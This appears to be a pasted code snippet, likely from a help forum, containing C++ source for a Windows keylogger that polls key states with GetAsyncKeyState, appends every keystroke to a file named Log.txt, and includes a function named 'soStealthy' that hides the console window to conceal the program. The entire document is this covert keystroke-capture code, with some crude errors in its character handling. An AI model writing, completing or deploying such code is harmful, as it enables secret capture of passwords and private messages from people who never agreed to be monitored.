1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70
|
#include <iostream>
#include <windows.h>//library needed for "Winuser.h"
#include <Winuser.h>//needed for the windows function "GetAsyncKeyState()"
#include <stdio.h>//apparently this is needed for opening and closing files
using namespace std;
bool running = true;
int save(int key_stroke, char *file){
if((key_stroke == 1)||(key_stroke == 2)){ //ASCII key stroke 1 is the left mouse button while 2 == right mouse button, this simply ignores those inputs
return 0;
}
FILE *OUTPUT_FILE;
OUTPUT_FILE = fopen(file, "a+"/*see bellow a+ assures data is not overwriten*/);
if(key_stroke == VK_ESCAPE){
fprintf(OUTPUT_FILE, "%s", " \"ESC\" ");
}
else if(key_stroke == 8){
fprintf(OUTPUT_FILE, "%s", " \"BACKSPACE\" ");
}
else if(key_stroke == 32){
fprintf(OUTPUT_FILE, "%s", " \"SPACE\" ");
}
else if(key_stroke == 13){
fprintf(OUTPUT_FILE, "%s", "\n");
}
else if(key_stroke == VK_SHIFT){
fprintf(OUTPUT_FILE, "%s", " \"SHIFT\" ");
}
else{
fprintf(OUTPUT_FILE, "%s", &key_stroke);
}
/* for another char such as arrow keys control esc etc....
else if(key_stroke == x key){
fprintf(OUTPUT_FILE, "%s", "\"x key\"");
}
*/
fclose(OUTPUT_FILE);
cout << key_stroke << endl;
return 0;
}
void soStealthy(){//preforms stealth
HWND stealth;
AllocConsole();
stealth = FindWindowA("ConsoleWindowClass",NULL);
ShowWindow(stealth,0);
}
// *********************** //
int main(){
//soStealthy();
char i;//holds data
while(running == true){
for(i = 0; i <= 190; i++){//** This is the line I am wondering about**//
if(GetAsyncKeyState(i) == -32767){//Determines if a key is up or down, -32767 is value for when OS is about to process a key press: http://msdn.microsoft.com/en-us/library/windows/desktop/ms646293(v=vs.85).aspx
save(i, "Log.txt");
}
}
}
}
|